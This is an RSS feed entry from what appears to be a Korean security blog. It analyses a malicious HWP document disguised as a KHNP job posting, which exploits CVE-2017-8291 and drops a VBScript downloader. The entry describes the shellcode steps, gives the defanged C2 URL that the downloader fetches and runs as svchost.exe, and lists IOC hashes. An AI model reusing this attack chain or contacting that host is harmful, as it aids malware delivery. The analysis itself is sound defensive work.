      <description>&lt;p&gt;&lt;i&gt;&lt;b&gt;[개요]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;언론&lt;span style=&quot;color: #333333;&quot;&gt;[3]&lt;/span&gt;에 따르면 한국수력원자력에서 상반기 채용공고인 &lt;/span&gt;&quot;연구ㆍ전문원 및 경력사원 선발[2]&quot;을 미끼로 사용하여 공격자들은 금일 악성 한글파일을 유포한 정황이 포착됐습니다. &lt;span style=&quot;color: #333333;&quot;&gt;(Figure 1)&amp;nbsp;&lt;/span&gt;4월 27일 오후 6시경 확인했을 때는 ViRobot을 제외하고는 탐지를 못하는 것을 확인했습니다. 본 게시물에서 다루는 샘플은 이전 게시물[1]과 GhostScript 취약점(CVE-2017-8291) 및 쉘코드 또한 유사했습니다. C2 서버에서 파일을 받지 못하여 추가적인 분석은 하지 못했지만 유포 전 과정까지 분석한 결과를 본 게시물에서 소개해드리겠습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.JPG&quot; data-origin-width=&quot;1070&quot; data-origin-height=&quot;575&quot; width=&quot;657&quot; height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SP1na/btqDIRr96oU/nKu1qk4R7Uaz3Nbzw4Gpu1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SP1na/btqDIRr96oU/nKu1qk4R7Uaz3Nbzw4Gpu1/img.jpg&quot; data-alt=&quot;(Figure 1) Virustotal 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SP1na/btqDIRr96oU/nKu1qk4R7Uaz3Nbzw4Gpu1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSP1na%2FbtqDIRr96oU%2FnKu1qk4R7Uaz3Nbzw4Gpu1%2Fimg.jpg&quot; data-filename=&quot;1.JPG&quot; data-origin-width=&quot;1070&quot; data-origin-height=&quot;575&quot; width=&quot;657&quot; height=&quot;353&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 1) Virustotal 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;공격자는 실제 한국수력원자력 상반기 2020 채용공고 문서&lt;span style=&quot;color: #333333;&quot;&gt;(Figure 2)&lt;/span&gt;와 유사하게 작성(Figure 3)을 했으며, 일부 내용은 조금 다른 것을 확인했습니다. 한수원은 2014년 특정 공격그룹(언론은 라자루스라고 칭함)에 의해 공격을 당한 이력이 있었기 때문에 해당 공격이 화제가 되었던 것 같습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;684&quot; height=&quot;548&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nJ6hB/btqDKUVP3iz/BZM3EQxXgi3kz4HdnaWFEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nJ6hB/btqDKUVP3iz/BZM3EQxXgi3kz4HdnaWFEk/img.png&quot; data-alt=&quot;(Figure 2) 실제 업로드된 채용공고 내용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nJ6hB/btqDKUVP3iz/BZM3EQxXgi3kz4HdnaWFEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnJ6hB%2FbtqDKUVP3iz%2FBZM3EQxXgi3kz4HdnaWFEk%2Fimg.png&quot; width=&quot;684&quot; height=&quot;548&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 2) 실제 업로드된 채용공고 내용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;537&quot; height=&quot;449&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;738&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qDZJq/btqDL3Lv3H7/37MtuWvEx2AfBXqHzFYnZ1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qDZJq/btqDL3Lv3H7/37MtuWvEx2AfBXqHzFYnZ1/img.jpg&quot; data-alt=&quot;(Figure 3) 유포된 한글파일 본문 내용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qDZJq/btqDL3Lv3H7/37MtuWvEx2AfBXqHzFYnZ1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqDZJq%2FbtqDL3Lv3H7%2F37MtuWvEx2AfBXqHzFYnZ1%2Fimg.jpg&quot; width=&quot;537&quot; height=&quot;449&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;738&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 3) 유포된 한글파일 본문 내용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[Hash값 채증]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;(Figure 4)는 순서대로 유포된 악성 한글 문서, PostScript, 은닉된 shellcode 순으로 이루어집니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Tufrg/btqDLD0DGbk/Fw1T72BUsv3uXL8Mh2epr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Tufrg/btqDLD0DGbk/Fw1T72BUsv3uXL8Mh2epr0/img.png&quot; data-alt=&quot;(Figure 4) 채증된 파일의 Hash&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Tufrg/btqDLD0DGbk/Fw1T72BUsv3uXL8Mh2epr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTufrg%2FbtqDLD0DGbk%2FFw1T72BUsv3uXL8Mh2epr0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 4) 채증된 파일의 Hash&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[악성 문서파일(HWP) 및 쉘코드 분석]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;(Figure 5) 한글 속성정보를 확인한 결과, 마지막 작성된 시각은 2020년 4월 26일 21시 49분경에 작성된 것으로 확인됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bz5NeS/btqDJNpix2I/SDVMUmOuKA1DCsKS3I46mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bz5NeS/btqDJNpix2I/SDVMUmOuKA1DCsKS3I46mk/img.png&quot; data-alt=&quot;(Figure 5) 한글문서 속성정보&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bz5NeS/btqDJNpix2I/SDVMUmOuKA1DCsKS3I46mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbz5NeS%2FbtqDJNpix2I%2FSDVMUmOuKA1DCsKS3I46mk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 5) 한글문서 속성정보&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;(Figure 6)~(Figure 8) 은닉된 PostScript 코드를 확인해본 결과, /tomato라는 변수로 PostScript가 또 다시 존재했으며, 이를 다시 확인한 결과, 실제 쉘코드가 (Figure 8)과 같이 존재했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;5.JPG&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;459&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c63qxH/btqDISYVKBh/7dtDXJHE3E7MUlUchfM7I0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c63qxH/btqDISYVKBh/7dtDXJHE3E7MUlUchfM7I0/img.jpg&quot; data-alt=&quot;(Figure 6) PostScript 코드(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c63qxH/btqDISYVKBh/7dtDXJHE3E7MUlUchfM7I0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc63qxH%2FbtqDISYVKBh%2F7dtDXJHE3E7MUlUchfM7I0%2Fimg.jpg&quot; data-filename=&quot;5.JPG&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;459&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 6) PostScript 코드(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;6.JPG&quot; data-origin-width=&quot;623&quot; data-origin-height=&quot;491&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nUnBq/btqDKVtJ83Q/5Z9NpCjpOUavpmudFVilnk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nUnBq/btqDKVtJ83Q/5Z9NpCjpOUavpmudFVilnk/img.jpg&quot; data-alt=&quot;(Figure 7) PostScript 코드(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nUnBq/btqDKVtJ83Q/5Z9NpCjpOUavpmudFVilnk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnUnBq%2FbtqDKVtJ83Q%2F5Z9NpCjpOUavpmudFVilnk%2Fimg.jpg&quot; data-filename=&quot;6.JPG&quot; data-origin-width=&quot;623&quot; data-origin-height=&quot;491&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 7) PostScript 코드(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;7.JPG&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBihcs/btqDJfNc4Ko/OKtwkq2mIv41UfwbJrVn30/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBihcs/btqDJfNc4Ko/OKtwkq2mIv41UfwbJrVn30/img.jpg&quot; data-alt=&quot;(Figure 8) PostScript 코드(3)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBihcs/btqDJfNc4Ko/OKtwkq2mIv41UfwbJrVn30/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBihcs%2FbtqDJfNc4Ko%2FOKtwkq2mIv41UfwbJrVn30%2Fimg.jpg&quot; data-filename=&quot;7.JPG&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;460&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 8) PostScript 코드(3)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;(Figure 8)의 쉘코드를 채증해 텍스트로 확인한 결과, 저번 분석(Powershell 이용)과 비슷하게 VBScript를 활용합니다. 또한, C2로 예상되는 주소가 xURLS 변수에 선언되어 있는 것을 볼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;8.JPG&quot; data-origin-width=&quot;1573&quot; data-origin-height=&quot;414&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctzOW8/btqDJgZzsAQ/iu1mmimFebX66XLiKoC6yK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctzOW8/btqDJgZzsAQ/iu1mmimFebX66XLiKoC6yK/img.jpg&quot; data-alt=&quot;(Figure 9) 텍스트로 변환한 쉘코드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctzOW8/btqDJgZzsAQ/iu1mmimFebX66XLiKoC6yK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FctzOW8%2FbtqDJgZzsAQ%2Fiu1mmimFebX66XLiKoC6yK%2Fimg.jpg&quot; data-filename=&quot;8.JPG&quot; data-origin-width=&quot;1573&quot; data-origin-height=&quot;414&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 9) 텍스트로 변환한 쉘코드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;쉘코드를 분석한 결과, 아래와 같은 단계로 이루어집니다.&lt;br /&gt;1.&amp;nbsp;GetProcAddress를&amp;nbsp;이용해&amp;nbsp;LoadLibrary&amp;nbsp;API&amp;nbsp;함수&amp;nbsp;호출 &lt;br /&gt;2.&amp;nbsp;&lt;a href=&quot;msvcrt.dll&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;msvcrt.dll&lt;/a&gt;&amp;nbsp;호출 &lt;br /&gt;3.&amp;nbsp;GetProcAddress를&amp;nbsp;이용해&amp;nbsp;system&amp;nbsp;API&amp;nbsp;함수&amp;nbsp;호출 &lt;br /&gt;4. system API 호출을 통해 VBScript 코드 호출&lt;br /&gt;참고로, (Figure 10) 0x4010A4 주소의 CALL 0040163F는 system API 함수를 호출하는 함수입니다. 바로 밑의 0x4010A9 주소는 VBScript가 작성된 것으로, system 함수의 인자 값으로 동작됩니다.&lt;br /&gt;&amp;rarr; CALL을 진입하면 다음 주소(Return)를 스택에 쌓는 것을 토대로 만들어짐(System 함수의 인자로 동작)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;12.JPG&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;688&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYBtPh/btqDMjm2Sj5/K0EGnTma9d1QDMpQYEQN4K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYBtPh/btqDMjm2Sj5/K0EGnTma9d1QDMpQYEQN4K/img.jpg&quot; data-alt=&quot;(Figure 10) 쉘코드 분석&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYBtPh/btqDMjm2Sj5/K0EGnTma9d1QDMpQYEQN4K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYBtPh%2FbtqDMjm2Sj5%2FK0EGnTma9d1QDMpQYEQN4K%2Fimg.jpg&quot; data-filename=&quot;12.JPG&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;688&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 10) 쉘코드 분석&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;(Figure 11) ~ (Figure 12)는 (Figure 10)에서 발견된 VBScript를 채증해서 재표현한 코드입니다. (Figure 11)은 파라미터로 들어온 값을 Base64 디코딩하는 &lt;span style=&quot;color: #333333;&quot;&gt;Base64Decode 함수, Binary를 String형으로 변경하는 BinaryToString 함수가 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;14.JPG&quot; data-origin-width=&quot;787&quot; data-origin-height=&quot;735&quot; width=&quot;594&quot; height=&quot;555&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mh5ML/btqDL3Sfhmp/JlSkeWDzWmHAECDwsRieA0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mh5ML/btqDL3Sfhmp/JlSkeWDzWmHAECDwsRieA0/img.jpg&quot; data-alt=&quot;(Figure 11) VBScript 코드(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mh5ML/btqDL3Sfhmp/JlSkeWDzWmHAECDwsRieA0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fmh5ML%2FbtqDL3Sfhmp%2FJlSkeWDzWmHAECDwsRieA0%2Fimg.jpg&quot; data-filename=&quot;14.JPG&quot; data-origin-width=&quot;787&quot; data-origin-height=&quot;735&quot; width=&quot;594&quot; height=&quot;555&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 11) VBScript 코드(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;(Figure 12)를 요약하면 아래와 같은 기능이 있습니다.&lt;br /&gt;1. 인터넷 연결을 위한 Microsoft.XMLHTTP, 윈도우 기능을 사용하기 위한 WScript.Shell 객체를 생성&lt;br /&gt;2. OS 환경을 체크하고 64비트가 아니면 종료&lt;br /&gt;3. xURLS 변수에 아래 C2 정보에 GET 메소드를 통해 리소스를 요청 시도&lt;br /&gt;(C2) https://matteoragazzini[.]it/wp-content/uploads/2017/06/&lt;a href=&quot;category.php?uid=1&amp;amp;udx=cbedf01fa62a94219e70dae13d3dc984&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;category.php?uid=1&amp;amp;udx=&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;cbedf01fa62a94219e70dae13d3dc984&lt;/b&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;4. 3번에서 리소스를 받아왔다면, Base64Decode 함수에 받은 HEX 데이터를 BinaryToString 함수로 String 형태로 변환한 뒤 Base64 디코딩 수행 (여기서 알 수 있는 점은 받는 리소스는 Base64 인코딩된 HEX형 데이터일 가능성 농후)&lt;br /&gt;5. 디코딩된 데이터를 svchost.exe 이름으로 저장하고 실행하며, 해당 VBScript를 자가삭제하고 종료&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;C2에 접속해 추가 바이너리를 채증하려고 시도한 결과, 리소스가 없는 상태로 추가 분석을 할 수 없었습니다. 이후에 유포파일을 얻을 수 있다면, 분석 후 내용을 추가하도록 하겠습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;15.JPG&quot; data-origin-width=&quot;1454&quot; data-origin-height=&quot;903&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EVt0w/btqDMIGTaf8/q2EZOVVXtyXAk77RhLivG1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EVt0w/btqDMIGTaf8/q2EZOVVXtyXAk77RhLivG1/img.jpg&quot; data-alt=&quot;(Figure 12) VBScript 코드(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EVt0w/btqDMIGTaf8/q2EZOVVXtyXAk77RhLivG1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEVt0w%2FbtqDMIGTaf8%2Fq2EZOVVXtyXAk77RhLivG1%2Fimg.jpg&quot; data-filename=&quot;15.JPG&quot; data-origin-width=&quot;1454&quot; data-origin-height=&quot;903&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 12) VBScript 코드(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;특이사항으로, (Figure 12)에서 C2에 GET 요청을 할 때, category.php에 uid, udx 파라미터를 사용합니다. 여기서 udx는 32자리인 md5 형태의 숫자로 이루어져 있습니다. 혹시 md5라면 &lt;span style=&quot;color: #333333;&quot;&gt;Virustotal에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;업로드가 되지 않았을까 하는 생각에 확인한 결과, 파일은 아직 업로드되지 않았습니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;842&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/reeWO/btqDMiVXiJG/pNvBgEtqKY0VwJDXzAexM0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/reeWO/btqDMiVXiJG/pNvBgEtqKY0VwJDXzAexM0/img.jpg&quot; data-alt=&quot;(Figure 13) 의심 hash 값 Virustotal 조회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/reeWO/btqDMiVXiJG/pNvBgEtqKY0VwJDXzAexM0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FreeWO%2FbtqDMiVXiJG%2FpNvBgEtqKY0VwJDXzAexM0%2Fimg.jpg&quot; data-origin-width=&quot;842&quot; data-origin-height=&quot;585&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 13) 의심 hash 값 Virustotal 조회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;i&gt;[결론]&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;본 게시물에서는 한국수력원자력 채용공고를 미끼문서로 만든 악성 한글문서를 분석했습니다. 추가 유포파일을 채증하지 못해 추가적인 분석은 하지 못했지만, 해당 게시물에서 알 수 있는 점은 한글 취약점(CVE-2017-8291)을 이용했고, 최종적으로는 쉘코드 내부 VBScript를 이용해 C2 주소에서 추가 유포파일을 다운로드 시도하는 다운로더(Downloader)였습니다.&lt;br /&gt;&lt;br /&gt;추가적으로 작성한 글(&lt;/span&gt;&lt;a href=&quot;https://suspected.tistory.com/269&quot;&gt;https://suspected.tistory.com/269&lt;/a&gt;&lt;span style=&quot;color: #333333;&quot;&gt;)의 분석 내용과 유사한 점이 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;※ TTP가 유사&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; 스피어피싱을 이용해 한글문서를 유포 및 2차 악성코드 다운로드 시도&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;유포지로 사용한 C2 주소를 취약한 워드프레스 사이트로 사용&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt; 유포파일을 %temp% 경로에 &lt;/span&gt;&lt;/span&gt;svchost.exe를 다운로드 후 실행&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;※&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;달라진 점&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr;&lt;span&gt;&lt;span&gt; [1]&lt;/span&gt;이전에는 Powershell을 이용해 C2에 접속했지만, 이번 공격은 VBScript만을 이용&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[IOC]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;- https://matteoragazzini[.]it/wp-content/uploads/2017/06/&lt;a href=&quot;category.php?uid=1&amp;amp;udx=cbedf01fa62a94219e70dae13d3dc984&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;category.php?uid=1&amp;amp;udx=cbedf01fa62a94219e70dae13d3dc984&lt;/a&gt; &lt;br /&gt;- 67a52dbb1067cc4546bb738cc5a77a4bc9ed4e4f5d0febdc4fc0b5427b5d35f9 &lt;br /&gt;- 66a4eb6f99e942a6ba326de64fd893a5e18f6812dda224873ba94382cc00b3ed &lt;br /&gt;- c9caac0541347aef876e1147d7df2a752cd5d08c94e2d9760f15b39ba23bb0fa &lt;br /&gt;- eff551790f6a1c395898ef2a3a2aea61daf478ecc5814e93a150aa0bd426f4e4&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[Reference]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;[1]&amp;nbsp;&lt;a href=&quot;https://suspected.tistory.com/269&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://suspected.tistory.com/269&lt;/a&gt; &lt;br /&gt;[2]&amp;nbsp;&lt;a href=&quot;http://www.khnp.co.kr/RECU_NEW/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://www.khnp.co.kr/RECU_NEW/&lt;/a&gt; &lt;br /&gt;[3]&amp;nbsp;&lt;a href=&quot;https://m.etnews.com/20200427000455&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://m.etnews.com/20200427000455&lt;/a&gt;&lt;/p&gt;</description>
      <category>리버싱/윈도우 악성코드 분석</category>
      <category>VBScript</category>
      <category>악성코드</category>
      <category>한수원</category>
      <category>해킹메일</category>
      <author>1q</author>
      <guid isPermaLink="true">https://suspected.tistory.com/273</guid>
      <comments>https://suspected.tistory.com/273#entry273comment</comments>
      <pubDate>Tue, 28 Apr 2020 01:14:01 +0900</pubDate>
    </item>
    <item>
      <title>AMSI(AntiMalware Scan Interface) 조사 및 분석</title>
      <link>https://suspected.tistory.com/272</link>
